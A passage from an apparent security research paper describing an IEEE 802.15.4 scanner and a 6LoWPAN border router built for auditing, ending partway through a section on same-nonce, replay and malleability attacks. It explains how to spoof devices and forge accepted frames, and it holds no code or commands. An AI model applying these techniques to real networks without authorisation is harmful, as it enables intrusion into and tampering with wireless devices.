within the network. However, there is no way to make the connection between the short address and the long address owned by a single device, except when capturing an association procedure. In fact, during such procedure, the device asks the coordinator to associate with the PAN and, optionally, requests a short address. If the coordinator was able to associate the device to its PAN and allocate a short address, it will reply with an association response command frame that contains the allocated short address. 3.1.4.1 DEVICE ADDRESSES As the IEEE 802.15.4 standard states that the coordinator shall use the 64-bit extended address of the device requesting for association as the destination address of its association response frame, the scanner is able to retrieve, by simply reading the corresponding fields of this frame, both the short and the long address the device owns. The two addresses being retrieved, the scanner checks whether or not the discovered device had already been registered in the database as two distinct device instances, one with the short address and the other with the long address. In such a case, it simply merges the two instances. If the scanner can only find in the database a single registered device instance in which only one of the two retrieved addresses are known, it feeds it with the other. If no devices are found, it simply instantiates a new one with the two addresses it just retrieved. Finally, if the scanner finds a device in which both the short and the address are known, it does nothing. 3.1.4.2 COORDINATOR ADDRESSES When sending beacons, a coordinator may choose between its short and its long address as a source address. When sending data or command frames, it may use another addressing mode than it actually uses for beacon transmission. The coordinator association response command is part of the association procedure and informs the device wishing to join the PAN whether or not its request has been accepted. When capturing such a frame, if the scanner identifies that the source addressing mode is not the same as the one used for beacons, it can make the connection between the long and the short address owned by the coordinator. The database is then updated accordingly. The two addresses being retrieved, the scanner checks whether or not the coordinator had already been registered in the database as two distinct device instances, one with the short address and the other with the long address. In such a case, it simply merges the two instances. If the scanner only find in the database a single registered device instance in which only one of the two retrieved addresses are known, it feeds it with the other. Finally, if the scanner finds a device in which both the short and the address are known, it does nothing. 3.2 DEVICES THAT ARE COMMUNICATING WITH EACH OTHER Being aware of each pair of devices communicating on the network can be very useful, especially when spoofing devices. Moreover, from this information, the network topology may be retrieved. For each captured frame in which the frame-type subfield does not specify an acknowledgment or a beacon frame, the scanner retrieves information about the originator and the expected recipient by analyzing both the source and the destination addressing fields. After ensuring both devices were registered in the database, the receiving device is, if that is not already the case, stored as a recipient in the originator instance. The mechanism by which the transmission parameters are stored is detailed in next section. 3.3 TYPES OF FRAMES THAT ARE EXCHANGED BETWEEN DEVICES In this section, we focus on describing the transmission parameters that can be inferred from captured frames:  Frame type and subtype;  Addressing modes;  Data transmission model;  IEEE 802.15.4 standard version;  Security policy; For each captured frame in which the frame-type subfield does not specify an acknowledgment or a beacon frame, the scanner stores in the database the parameters used by the originator to transmit the frame. This is achieved by instantiating a transmission object and adding it to the recipient of the corresponding originator instance. A transmission object contains a list of parameters, a frame counter and a buffer in which are stored every captured frames that have been sent with these parameters. When dealing with a captured frame, is the scanner identifies that in the database the pair originator/recipient already exists and, that the transmission parameters are already known, it does not create a new transmission instance but rather increments the counter of the corresponding instance and stores the packet in the buffer. Moreover, for each captured frame, the scanner first checks if both originator and recipient devices exist and instantiate them otherwise. It is worth noting that, most part of the parameters listed below can be retrieved regardless of the use of security. However, when guessing the security policy which has been used to secure a captured frame, the scanner requires the user to provide an encryption key. 3.3.1 FRAME-TYPE AND SUBTYPE Knowing about each frame-type (and subtype when it is a command frame) a device has been able to send/receive during the scan can give clues about how important are devices. Also, it can help an auditor to choose which device to spoof when wishing to send a specific frame- type/subtype to a given recipient, ensuring a normal behavior. The scanner retrieves the frame-type and, when necessary, the frame-subtype by simply reading the corresponding fields of the given frame. 3.3.2 ADDRESSING MODES To be sure an outgoing frame would not be rejected by a device because of the use of an improper addressing mode, it is interesting to retrieve, for each captured frame, which addressing modes have been used. Thus, the auditor would know which source and destination addressing modes to use in order to send a secured data frame to device B, while mimicking device A. As for the frame-type and subtype, the scanner retrieves both source and destination addressing information by simply reading the corresponding fields of the given frame. 3.3.3 DATA TRANSMISSION MODEL Depending on the network’s ability of transmitting periodic beacons (beacon-enabled PAN) and on device types, numerous transfer models can be used by devices to transfer data frames. Retrieving the mechanism by which each pair of devices communicates can guide the auditor in his choice of a transfer scheme when trying to send data to a given device. The available transfer models are described hereafter. 3.3.3.1 BEACON-ENABLED PAN 3.3.3.1.1 DEVICE TO COORDINATOR (OR PAN COORDINATOR) If the device has been allocated a transmission Guaranteed Time Slot (GTS) by the coordinator, then it will directly transmit the data frame during its reserved slot during the Contention Free Period (CFP). The scanner always stores the last captured beacon. When a data frame is received and is directed to the beaconing coordinator, it checks in the GTS subfield of the beacon MAC field if a GTS is actually allocated to the originator device. If so, the scanner infers that the given frame has been sent according to a GTS scheme. It is worth noting that, however, even if a device owns a transmission GTS, it still can send its data frame using direct transmission during the Contention Access Period (CAP). Having said that, this information is still available and ensures the user that, by following a GTS transmission model, the frame he wants to send will not be rejected. Moreover, in order to let the user know which slot(s) the originator owns, the scanner stores the following timing information: beacon order, superframe order, final CAP slot as well as the GTS starting slot and the GTS length of the corresponding device, everything being available in the beacon. When no transmission GTS has been found for the originator in the GTS field of the beacon frame, in a direct transmission scheme, the device wishing to send data to its coordinator will first synchronize with beacons and then send its frame during the Contention Access Period (CAP). 3.3.3.1.2 COORDINATOR (OR PAN COORDINATOR) TO DEVICE If the recipient device had previously been allocated a GTS for reception by the coordinator, then the coordinator will thus directly transmit its data frame during the corresponding slot(s). When a data frame is received and has originated from the beaconing coordinator, the scanner checks in the GTS subfield of the most recent beacon’s MAC field if a GTS is actually allocated to the recipient device. If so, the scanner infers that the captured frame has been sent according to a GTS scheme. This information ensures the user that, by following a GTS transmission model, the frame he wants to send will not be rejected by the recipient. Note that, however, even if a device owns a reception GTS, a coordinator can still send data to it using direct transmission. In this scenario, the scanner stores timing-related information to situate the exact position of the slot(s) the device owns. This information are: beacon order, superframe order, final CAP slot as well as the GTS starting slot and the GTS length of the corresponding device, everything being available in the beacon. In this case, the coordinator indicates in its periodic beacons that data are pending. The target device then requests the pending data by sending a MAC data request command. Finally, the coordinator sends the data frame during the CAP. For each captured data frame, the scanner can infer that an indirect transmission scheme has been used if the recipient has been sending a data request command just before receiving the data frame. When neither the GTS transmission mechanism nor the indirect transmission mechanism has been identified, the coordinator will send its frame directly during the CAP. 3.3.3.2 NONBEACON-ENABLED PAN 3.3.3.2.1 DEVICE TO COORDINATOR (OR PAN COORDINATOR) In a nonbeacon-enabled PAN, devices have no choice but to directly send their data frames to their coordinators. Thus, there is no need to compute anything. 3.3.3.2.2 COORDINATOR (OR PAN COORDINATOR) TO DEVICE Just as in a beacon-enabled PAN, the coordinator stores the message it wants to send and waits for the concerned device to request the data. However, in this case, the coordinator is not sending any beacons and thus cannot indicate that data are pending. This is the device itself which, at a software defined rate, sends data request commands. On reception of such a command and if data are actually pending for the requesting device, then the coordinator first sends an acknowledgment in which the frame pending bit is set to one and then sends the data frame. For each captured data frame, the scanner can infer that an indirect transmission scheme has been used if the recipient has been sending a data request command just before receiving the data frame. When the indirect transmission mechanism has not been identified, then the coordinator directly sends its data frame to the recipient device 3.3.4 VERSION OF THE IEEE 802.15.4 STANDARD Since its initial release in 2003, the IEEE 802.15.4 standard has been revised two times. In this project, we only focused on the 2003 and the 2006 versions of the standard as the 2011 version does not affect any features we implemented in the scanner. Thus, from the scanner point of view, there are only two possibilities: 2003 and 2006 or higher. Moreover, the IEEE 802.15.4-2006 standard states that, excluding two minor cases, all unsecured frames are compatible with IEEE 802.15.4-2003 standard. However, it also stipulates that secured frames are differently formatted and thus incompatible. When this is the case, a 2-bit field called frame-version is set to 0x1 in the corresponding frame. Thus, when dealing with such version-specific frames, the auditor needs to infer the version of the standard they are compliant with before trying to manipulate them. On that aspect, the scanner retrieves, when necessary (i.e., when security is enabled), the frame version simply by reading the corresponding fields of the given frame. 3.3.5 SECURITY POLICY As explained before, depending on the standard version the secured frames are compliant with, they are formatted in a different manner. In this section we first describe here the low-level security mechanism for both 2003 and 2006 versions of the standard and then we explain how the scanner can, to a certain extent, infer the security policy which has been used by the originator to secure each captured frame. 3.3.5.1 IEEE 802.15.4-2003 SECURITY POLICIES In IEEE 802.15.4-2003 standard, frames can be secured according to three transformation processes: CTR, CBC-MAC or CCM. CCM is block cipher mode combining the CTR encryption mode with the CBC-MAC authentication mode, providing both encryption and authentication. As for the IEEE 802.15.4 standard, the block cipher shall be the advanced encryption standard (AES)-128. CBC-MAC and CCM can be leveraged such as they can provide each one three levels of data authenticity (MIC-32, MIC-64 or MIC-128). While CBC-MAC provides nothing but authenticity, CTR and CCM always provide confidentiality. In all, IEEE 802.15.4-2003 standard provides seven security levels to protect frames. Contrary to the IEEE 802.15.4 standard, secured frames compliant with the IEEE 802.15.4-2003 standard do not include in their header any information about which security protection has been processed by the originator. Thus, devices must know in advance which security policies are used by all devices. CTR and CCM require a 13-octets sized nonce to perform security. It is formatted as the combination of the extended source address, the frame counter and the key sequence counter, a counter which can be used, for instance, when the frame counter is exhausted. Of course, both the originator and the recipient devices shall use the same nonce. Thus, each outgoing secured frames shall include in their header the frame counter and the key sequence counter formerly used by the originator to secure the frame. 3.3.5.2 IEEE 802.15.4-2006 SECURITY POLICIES The IEEE 802.15.4-2006 standard states that frames shall be secured according to the transformation process known as CCM*. It is a generic combined encryption and authentication bloc cipher mode. The standard also specifies that the block cipher to be used is the advanced encryption standard (AES)-128. CCM* can be leveraged such as it can provide up to seven kind of frame protection, allowing for varying levels of data authenticity and for optional data confidentiality. In order to the recipient device to know which unsecuring process to perform, all outgoing secured frames shall provide in their header the proper security level used by the originator to protect the frame. CCM* also requires a nonce to process security. The nonce is a 13-octets string and is formatted as the combination of the extended source address, the frame counter and the security level. As for the security level, each outgoing secured frame shall provide in its header the frame counter which has been used by the originator during the securing process. Note that the extended addresses do not have to be included in secured frames because they may have been retrieved by recipient devices in previous transfers, making them able to infer the extended addresses from the short ones. 3.3.5.3 SECURITY POLICY IDENTIFICATION As explained before, in the IEEE 802.15.4-2006 standard, the security policy used for protecting a frame is indicated in the header of the concerned frame through the value of the security level field. Thus, when dealing with such frames, the scanner just have to read the corresponding field to retrieve the security policy. The security level is then added as a parameter in the corresponding transmission instance. As for the IEEE 802.15.4-2003 standard, security level by which a frame has been secured is not provided to the recipient. In fact, the device shall know in advance which unsecuring process to use. When such a frame is captured, the scanner does nothing but storing the frame in the database, either in an appropriate existing transmission instance or in a new one. However, at the end of a scan, if requested by the user, the scanner will try to unsecure the frames for transmission instances that specify that security was enabled. If appropriate, the scanner will also try to guess the security policy in the process. The steps used to unsecure frames are the following:  The scanner first asks the user to provide an encryption key. Then, it tries to unsecure the buffered frames (a maximum number can be defined by user), using every security policy of the IEEE 802.15.4-2003 standard if the frame-version parameter specifies an IEEE 802.15.4-2003 frame or using the single IEEE 802.15.4-2006 security policy specified by the value of the security-level parameter stored during the scan.  When a decrypted payload appears to be a valid one (either the header of a valid higher layer protocol is recognized or a low entropy is computed), and/or a MIC can be recovered, a parameter called security-found is set to true in the transmission instance. If the frame-version parameter of the transmission instance specifies IEEE 802.15.4-2003 frames, the retrieved security-level is also added as a parameter.  For both frame-versions, if the security policy could not have been found, the security-found parameter shall be set to false. 3.3.5.4 SECURITY POLICY DEVIATION We argue here that, because when a PAN is designed usually all the network components rely on the same hardware and software, it makes it possible for a deviation from the standard to slip through and stay unnoticed for as long as it does not disrupt availability and efficiency. This is even true when multiple PANs are connected to a grid since the border routers used for interconnection are likely to rely on the same faulty components. Usually, they are unintentional mistakes affecting low-level security mechanisms. Sometimes, they originate from a mix-up between different revisions of the standard. The scanner can detect a number of deviations (based on actual deviations we observed during several security audits). When the security policy of a transmission instance cannot be identified, the user may request the scanner to look for any of the deviations it supports. They are listed at the end of this subsection (they are all identified by a unique id by the scanner). A user can choose one or several deviations he wants the scanner to look for. Moreover, as a network may include several deviations, the user should also configure the number of simultaneous deviations the scanner is intended to look for. At the end of this process, taking into account the deviations the user requested the scanner to check, if a payload appears to be a valid one, the security policy is considered to be found and the corresponding transmission instance is updated with both the ids of the discovered deviations and the setting of the security-found attribute to true. However, if the security policy could not have been retrieved, no parameters are added in the corresponding instance (the security-found attribute already set to false). Deviations regarding the IEEE 802.15.4-2003 standard  (CTR) The nonce used is the 2006 standard’s one (Source Address + Frame Counter + Security level rather than Source Address + Frame Counter + Key Sequence Counter).  (CTR) Flag octets of input blocks are not set to 0b10000010 but to another value;  (CTR) The first block counter used for encryption is equal to 0x0001 and not 0x0000;  (CBC-MAC) Tag T is obtained by keeping the rightmost M bytes of the last computed CBC-MAC value rather than the leftmost M bytes;  (CBC-MAC) The length field of the first input block used to generate the key streams is not equal to (n + m) but to (n + m + 1);  (CCM Authentication) The nonce used is the 2006 standard’s one;  (CCM Authentication) Flag octet of the first input block B0 is not set to the value specified in the standard;  (CCM Authentication) The string encoding the additional string a is formed by concatenating l(a) (the length in octet of a) within 2 octets with a itself, but is not padded with zeros so that its length is divisible by 16;  (CCM Authentication) The authentication tag T is not obtained by keeping the first-M-octet of the last output block but by keeping the last M-octet;  (CCM Encryption) The nonce used is the 2006 standard’s one;  (CCM Encryption) Flag octet of the input counter blocks is not formatted as specified in the standard;  (CCM Encryption) First counter block used to generate the first key stream block (to encrypt/decrypt message) is not A1 but A0;  (CCM Encryption) Encrypted tag U is generated by XORing the authentication tag T with the last key stream blocks (Sn) rather than the first key stream blocks (S0);  (CCM Encryption) Encrypted tag U is generated by XORing the authentication tag T with the key stream blocks S1 rather than S0; Deviation regarding the IEEE 802.15.4-2006 standard  (CCM*) Security policy is not the same as indicated in the auxiliary security header;  (CCM*) When transforming inputs before performing the CCM* mechanism, the encoded a data is not right-concatenated with zeros so that the octet string has length divisible by 16;  (CCM* Authentication) Flag octet of the first input block B0 is not set to the value specify in the standard;  (CCM* Authentication) Tag T is obtained by keeping the rightmost M bytes of the last computed CBC-MAC value rather than the leftmost M bytes;  (CCM* Encryption) Flag octets of the input counter blocks are not formatted as specified in the standard;  (CCM* Encryption) The counter block used to generate the first key stream block (to encrypt/decrypt message) is not A1 but A0;  (CCM* Encryption) Encrypted tag U is generated by XORing the authentication tag T with the last key stream blocks (Sn) rather than the first key stream blocks (S0);  (CCM* Encryption) Encrypted tag U is generated by XORing the authentication tag T with the key stream blocks S1 rather than S0; Deviation regarding the version of the standard itself  The Frame version subfield of the frame specifies a 2006 frame but is a 2003 one;  The Frame version subfield of the frame specifies a 2003 frame but is a 2006 one;  The frame is a 2003-frame but is secured with a 2006 standard’s security policy;  The frame is a 2006-frame but is secured with a 2003 standard’s security policy; 4. THE 6LOWPAN BORDER ROUTER The role of the border router is to translate incoming and outgoing frames from and to the 6LoWPAN format. Moreover, it must be able to do so while adapting to the specificities of the underlying IEEE 802.15.4 infrastructure. In the following sections, we assume that such specificities are provided by the IEEE 802.15.4 scanner but that is not a mandatory step: it might as well be manually provided based on some other source of information. 4.1 IEEE 802.15.4 AND 6LOWPAN 6LoWPAN is an IPv6-based low-power wireless personal area network which is composed of devices compliant with the IEEE 802.15.4 standard. Before ensuring IPv6 transmission over such a wireless protocol, several issues need to be solved, and among them the very limited size of IEEE 802.15.4 packets. Indeed, while the MAC MTU size of an IEEE 802.15.4 packet is 127, the MTU size of an IPv6 packet is 1280. Adding a maximum frame overhead of 25 bytes leaves only 102 bytes available for handling IPv6. Moreover, the use of security introduces further overhead, up to 21 bytes in IEEE 802.15.4-2003 and up to 30 bytes in IEEE 802.15.4-2006. Furthermore, as the IPv6 header is 40 octets long, the remains payload for higher protocol such as UDP and TCP are very limited. To solve the exposed issues, an adaptation layer has been specified between the MAC layer and the IP network layer and is part of the 6LoWPAN protocol. It handles both fragmentation and reassembly of IPv6 packets, while providing a header compression scheme to reduce the size of the IPv6 header and, when necessary, the UDP header. Also, as described later, the specification supports mesh routing mechanisms. 4.2 VIRTUAL NETWORK INTERFACE To allow communications between our border router and the host, we used a virtual network kernel device known as TUN. It operates on layer 3 and delivers all the packets sent by an operating system to attached user-space programs. Conversely, user-space packets passed to the TUN are forwarded to the operating system. Actually, our router has been implemented as a user-space program while the operating system represents the IP-based tools a security auditor would use (nmap, telnet, ping, etc.). Thus, in the operating system point of view, our tool is considered as an external source. As TUN interfaces operate on layer 3, only the IPv6 layer of packets are forwarded, allowing our tool to not care about Ethernet. It thus does not have to deal with MAC addresses when communicating with the host. Note that it still needs an IEEE 802.15.4 MAC address to communicate with the wireless network. 4.3 NETWORK CONFIGURATION In this section we just provide details about how the router’s addressing information are handled when wishing to transmit frame over the air. We assume that the user would like to either spoof an existing device or act as a third device on the network. In the former case, the user will be invited to enter both an IPv6 address and a link-layer address (a 16-bit short address and/or a 64-bit extended address). It is worth noting that, some established network will not allow a new device to communicate on the PAN if not associated. To solve this issue, we implemented a procedure which handles association procedure within a PAN. However, as a PAN could maintain a kind of ACL, it is possible that association procedures will be rejected. In this case, we advise the user to user the spoofing method. In the latter case, namely the spoofing method, user will be requested by the router to provide both the IPv6 address and at least one link layer address of the existing device he wants to spoof. To ensure efficient communications within the network, we also recommend the user to use the IEEE 802.15.4 scanner we developed in order to configure the router such as it uses the proper transmission scheme as well as the proper security policy. Note that for the security policy, the user will be requested by the scanner to provide one or several encryption key for each pair of devices communicating on the network. Please refer to section 4.4.4 to know how to deal with recipient link layer addressing information. 4.4 IPV6 TO 6LOWPAN Here we explain how incoming IPv6 packets are handled by the router before being transmitted over the air. 4.4.1 IPV6 HEADER COMPRESSION PDU size of an incoming IPv6 packet is checked to ensure it is not greater than the MTU size of IEEE 802.15.4 packets. If it exceeds this limit, the IPv6 header is compressed following the encoding scheme specified in the RFC 6282. The result is known as the LOWPAN_IPHC, a 13-bit field IPv6 compressed header. This field is always preceded by a 5-octets flag indicating that the following field is actually the LOWPAN_IPHC field itself. By relying on several common rules, the encoding mechanism tries to elide, either literally or partially, the IPv6 header fields which can be inferred by the recipient device. Each field that could not have been elided is carried in-line right after the LOWPAN_IPHC header, either in a compressed form if it has been partially elided or literally. Note that, in this case, they appear in the same order as they do in the uncompressed IPv6 header. The rules that the encoding mechanism relies on are assumed to be common on the 6LoWPAN network and are listed below:  Version is 6;  Traffic class and Flow label are both zero;  Payload length can be inferred from lower layers;  Hop limit is set to a well-known value (1,64 or 255);  IPv6 addresses are formatted using the link-local prefix or a small set of well-known routable prefixes;  IPv6 addresses are partly constructed from either the 64-bit extended or the 16-bit short IEEE 802.15.4 addresses; When Multicast IPv6 addresses are used, a special scheme is to be performed. A multicast address is formatted as the combination of an all ‘1’ 8-bit prefix, indicating that the address is actually a multicast address, a 4-bit flag field, giving multiple information about the address, a 4-bit scope field, indicating the scope in which the address is valid and a 112-bit group ID, indicating a group within the given scope. All IPv6 multicast addresses where the upper layer of the multicast group identifier are zero may be compressed down to 48 or 32 bits. In such cases, only the flag, the scope and the least-significant bits of the multicast group identifier are carried in-line. Another special multicast address known as Solicited-Node Multicast address may be compressed down to 8-bit. Its format is such as only its least-significant group ID is to be carried in-line. Furthermore, when dealing with multicast addresses, two LoWPAN headers also have to be added, the LoWPAN Mesh addressing and the Broadcast/Multicast headers. This is discussed on specific sections. Moreover, the mechanism allows network’s devices to use up to 16 context identifiers to encode source addresses and up to 16 others context identifiers to encode destination addresses. When contexts are used, the LOWPAN_IPHC is extended with a further Context ID field formatted as a 4-bit source Context ID and a 4-bit destination Context ID. RFC 6282 also defines a compression format for IPv6 extensions and UDP headers. However, we only focused on UDP header compression, handling IPv6 extensions by carrying them in-line. When the next header field of the IPv6 header specifies the UDP protocol, it is fully elided. Furthermore, as stated before, the header of such a protocol shall be compressed according to the encoding scheme specified in the RFC 6282. A special section is dedicated to the UDP header compression. In the best case, i.e. every IPv6 header fields could have been fully elided and no context are used, the IPv6 header can be compressed down to 2-octets formatted as the 5-bits flag octet and the 13 bits LOWPAN_IPHC compressed header, without any further field carried in- line. Note that, to perform the IPv6 header compression, the router needs to retrieve the IEEE 802.15.4 addressing information of the device the user wants to communicate with. We discuss this process in a special section (NDP TABLE). If at the end of the compression process the IPv6 packet meets the IEEE 802.15.4 MTU size constraint (taking into account the use of the security), the packet can be encapsulated and sent over the air. Otherwise, the packet will need to be fragmented. The mechanism is described in a specific section. 4.4.2 UDP HEADER COMPRESSION RFC 6282 states that UDP header, when present, shall be compressed. The result is known as the LOWPAN_NCH compressed header formatted as a 5-bit pattern specifying an UDP header compression and 3 others bits used for UDP checksum and UDP ports compression. The UDP checksum can be fully elided on condition that another integrity check mechanism providing at least the same information than the UDP checksum is contained in the UDP payload (IPSec when using IP over UDP tunneling or MIC within UDP payload). Additionally, another lower-layer integrity check mechanism (i.e. IEEE 802.15.4 Message Integrity Code (MIC)) must be provided to ensure the detection of pseudo header corruption. If these conditions are not meet, the checksum cannot be compressed. To ensure a device will not reject our frames because of the absence of the UDP checksums, the router never elides this field. The UDP ports can also be partially elided if they are contained in small ranges of values. A specific compression scheme is applied when both the source and the destination ports are contained in the range 0xf0b0 – 0xf0bf while another one is applied for each port if it is contained in the range 0xf000 – 0xf0ff. In the former case, first 12 bits of both source and destination ports are elided while the remaining 4 bits of both ports are carried in-line. In the latter case, the first 8-bits of each port meeting the constraint are elided while the remaining 8 bits are carried in-line. When neither the first nor the second case is met, ports are fully carried in-line. For UDP ports compression, we simply followed the scheme we described above. Fields or subfields which are to be carried in-line are placed right after the LOWPAN_NCH header, in the order in which they appear in the uncompressed UDP header. 4.4.3 FRAGMENTATION If an IPv6 packet does not fit within a single IEEE 802.15.4 frame, it shall be fragmented according to the process specified in the RFC 4944. The IPv6 frame could be either a frame whose header compression did not reduce the frame size enough to meet the IEEE 802.15.4’s MTU size constraint or an uncompressed IPv6 frame. The fragmentation process consists of breaking the IPv6 frame into multiple link-layer fragments. The first fragment is called the first fragment while the others are called the subsequent fragments. The first one shall be formatted as the combination of a 5-bits flag, indicating that the following fields are part of the first fragment, an 11-bits datagram size, encoding the size of the entire IPv6 frame before fragmentation, and a 16-bits datagram tag, a unique identifier of the IPv6 packet being fragmented. The subsequent fragments are formatted as the combination of a 5-bits flag, indicating that the following fields are part of a subsequent fragment, the datagram size, the datagram tag and the datagram offset, specifying the offset, in increments of 8-octets, from the beginning of the IPv6 payload before fragmentation. As the fragment offset can only express multiples of eight bytes, the size of all link fragments for a given Ipv6 packet except the last one shall be multiples of eight bytes. Our router performs fragmentation just as it is specified in the RFC 4944. Once the IPv6 frame has been fragmented and all the fragments have been encapsulated, they are sent over the air in the proper order such as the recipient can reconstruct the original frame. 4.4.4 NPD TABLE When wishing to send an IPv6 frame over the air, the router needs to know which link layer destination address to use, especially when dealing with IPv6 addresses compression. If the user chose to use the IEEE 802.15.4 scanner we introduced in the very first part of this document, the router would be able, at a certain extent, to retrieve this information in the database automatically generated by the scanner. Otherwise, the router will send a NDP request frame in broadcast and wait for response. As remote devices may not always support the NDP protocol, if at the end of this process the addressing information could not have been retrieved, the IPv6 destination address will not be compressed and the frame will be sent over the air using the broadcast IEEE 802.15.4 address (0xffff). Note that, when starting the router, user can also provide the router with a python dictionary in which the keys are the IPv6 addresses and the values are the corresponding link-layer addresses. Once the IEEE 802.15.4 addresses are retrieved, whatever how, they are stored in a kind of NDP table that aims at helping the router in future communications. 4.4.5 MESH ROUTING In a mesh topology, an originator may request intermediate devices to forward its outgoing frame towards the final destination. The RFC 4944 states that, in such a case, the frame shall include a mesh addressing header. This field is formatted as the combination of a 2-bits flag, indicating that the following fields are part of the mesh addressing header, a 1-bit field indicating if the originator has been using its 16-bit short or 64-bit extended address, another 1-bit field indicating if the final destination address is a 16-bit short or a 64-bit extended address, a 4-bit hop limit and both the originator and the final destination addresses, formatted as indicated in the previous fields. When detecting such a header, an intermediate device would consult its routing table and replace both the source and the destination addresses of the link layer by its IEEE 802.15.4 address and, regarding the routing table response, either the final destination or another intermediate IEEE 802.15.4 address, respectively. Concerning the mesh addressing header, the hop limit is decremented by one while the others fields are left unchanged such as it can be used by another intermediate device to forward the packet. When receiving an IPv6 frame from the TUN, the router has to deal with such a routing table. It has to send the frame to the proper intermediate device such as the frame can be forwarded towards the final destination the user was trying to reach. If the scanner has been provided with the database our IEEE 802.15.4 scanner is intended to generate, the router would be able, at a certain extent, to retrieve this information. In fact, we added a mechanism in the scanner that aims at retrieving the routing path for each pair of 6LoWPAN devices communicating on the network. If the path could not have been retrieved, the frame is sent by using the mesh addressing header with the proper originator and final destination addresses anyway but the link layer destination address would be the broadcast address (0xffff). 4.4.6 BROADCAST / MULTICAST IEEE 802.15.4 does not natively support multicasting. Thus, IPv6 multicast frames shall be handled as link-layer broadcast packets in IEEE 802.15.4 networks. To do so, the link-layer destination PANID shall be set to the proper value, such as it matches the PAN ID of the corresponding link. Moreover, the link layer destination address shall be the 16-bit short broadcast address (0xffff). By this way, it ensures that multicasting will be handled by the right upper layer. Note that multicasting is only supported only on mesh networks. Thus, each IPv6 multicast frames will always be encapsulated with the mesh addressing header, the header we described on section 9. It will also be encapsulated with a broadcast header known as LOWPAN_BC0 in the RFC 4944, right after the mesh addressing header. It is formatted as the combination of an 8-bits flag, indicating that the next fields are part of the broadcast header, and an 8-bits sequence number, used for detecting duplicated packet. When our tool detects an IPv6 frame whose destination address is a multicast address, we simply add both the mesh addressing and the broadcast headers before sending it in broadcast (link-layer point of view) on the proper PANID. 4.4.7 SUPPORTED FEATURES So we could describe some of the main features the router was supporting. Most part of them are directly derived from both the RFC 4944 and the RFC 6882 while others like the NDP table we implemented are used to improve the tool behavior in an auditing point of view. We could see that they were actually up to six adaptation layer headers which can be added to the IPv6 frame to enable its transmission over IEEE 802.15.4. Note that, when several LOWPAN headers are used in the same packet, they shall appear in the following order:  Mesh addressing header  Broadcast header  Fragmentation header (First or subsequent)  Compression header (IPv6 compressed header and/or Next Header compressed header) Remember that when compressing IPv6 header and Next header, each field which could not have been full elided are carried in line, either in a compressed form or literally. Also remember that when carried in-line, fields or subfield appear in the same order as they do in their corresponding uncompressed header. 4.5 6LOWPAN TO IPV6 Here we explain how incoming 6LoWPAN packets are handled by the router before being transmitted to the “computer” through the TUN. Note that the scanner will not care about frames that are not indicating its link level address (the IEEE 802.15.4 address the user chose when starting the router). We assume in the following section that the link layer destination address is actually the router one. 4.5.1 MESH ROUTING When capturing a 6LoWPAN frame whose first header’s flag indicates a mesh addressing header, the tool first check if the frame is directed to it by checking the final destination field of the mesh addressing header. If so, the corresponding header is removed and next headers are handled. If no header follows the mesh addressing header, the frame is directly transmitted to the TUN just after ensuring the IPv6 destination address was the router one. If the scanner infers that the frame does not indicate it as a recipient, by checking both the final destination and the IPv6 destination address, the frame is simply rejected. 4.5.2 BROADCAST / MULTICAST After having removed the mesh addressing header, if a Broadcast header is present (i.e. the header’s flag indicating a broadcast header), it is simply removed and next headers are handled. If no further headers are present, and if the IPv6 multicast address indicates a group ID in which router is included, the packet is transmitted to the TUN. Otherwise, if the router is not indicated as a recipient, the frame is rejected. 4.5.3 FRAGMENT REASSEMBLY When detecting a 6LoWPAN first fragment packet, the router stores it and waits for the following subsequent packets to be captured. When all frames are captured, the frame is reassembled. Then, the next headers of the reconstituted packet are handled. If no further headers are present and if the IPv6 address indicates an IPv6 address that match its address, the packet is transmitted to the TUN. Otherwise, if the IPv6 destination address is not the one of the scanner, the packet is rejected. 4.5.4 HEADERS DECODING If a compressed IPv6 header is detected, the frame is uncompressed to retrieve the real IPv6 header. If, while handling the IPv6 compressed header, the scanner sees that the next header is a compressed UDP header, it also tries to retrieve the real UDP header. At the end of this process, if the retrieved IPv6 destination address is not the one of the scanner, the packet is rejected. Otherwise, the frame is transmitted to the TUN. 5. IEEE 802.15.4 ATTACKS The 6LoWPAN protocol can rely on the security mechanisms offered by the IEEE 802.15.4 standard at the MAC-sublayer level. In this section, we focus on known attacks that affect the IEEE 802.15.4 standard. It is worth mentioning that we will not consider attacks that only impact availability [6] because, even if they could be prevented, in the end, a determined malicious individual could still resort to radio-based PHY jamming attacks. That means that we will focus on attacks that can impact confidentiality or integrity. 5.1 SAME-NONCE ATTACKS Same-nonce attacks are possible if, at least, two frames are encrypted with identical key and nonce: with AES-CTR, data is XORed with a key stream based on a nonce and a pre-shared key (see Figure 2 for details). An identical operation is conducted to decrypted secured frames (see Figure 3 for details). If a nonce is used repeatedly, key streams remain identical and if two such frames are captured, it may be possible to decrypt them [5]. To illustrate this, let’s consider that P and P’ are two payloads, C and C’ the two corresponding encrypted payloads and K, the key stream for both payloads. We thus have C⊗C’ = (P⊗K) ⊗ (P’⊗K) = P⊗P’. From here, mutually XORed unencrypted payloads can be recovered using statistics or if parts of any of the two payloads are guessable. With the IEEE 802.15.4 standard, this can only be due to frame counters being identical. It will happen with certainty every 232 frames but it might happen sooner if outgoing frame counters are handled differently from what the standard specifies (see section 6.4.2 for an application). Nonetheless, this situation is not supposed to happen: the IEEE 802.15.4 standard specifies that when this higher value is reached, the corresponding encryption key should be deemed unreliable and no secure frames should be transmitted until it is replaced. It is worth mentioning that IEEE 802.15.4e [4] allows counters to be 5 octets in size which postpone this issue to 240 frames. It is also worth mentioning that there is a situation when, even though the standard was strictly followed, the same-nonce vulnerability might be exploitable: with the 2003 version of the standard, the security material, including the key and the outgoing frame counter, is stored independently for each device. If the same encryption key is used for two different devices, then the corresponding outgoing frame counters will be incremented independently and same-nonce situations might occurs during operations. Figure 2. Counter (CTR) mode encryption (source: Wikipedia) Figure 3. Counter (CTR) mode decryption (source: Wikipedia) 5.2 REPLAY ATTACKS According to the IEEE 802.15.4 standard, replay attacks should be prevented by the frame counters: the counter from an incoming frame is compared to the value of the corresponding local counter and, if lower, the incoming frame is rejected. If higher, the incoming frame is accepted and the local counter is updated. However, if same-nonce attacks are possible within a given IEEE 805.15.4 infrastructure, that means that the local frame counters may not be properly checked or updated, or that they are reset at some point (e.g., after a failure followed by a reboot), thus making replay attacks possible (see section 6.4.1 for an application). 5.3 MALLEABILITY ATTACKS Malleability attacks rise from the combination of the two previous vulnerabilities: if a plain text can be retrieved using a same-nonce attack, then a simple XOR operation will reveal the corresponding keystream. From there, if a previously-used frame counter is accepted upon reception, instead of replaying a captured frame, an attacker could forge a new one based on the retrieved keystream and the corresponding counter (i.e., the encryption key is not needed in this particular situation). However, this is possible 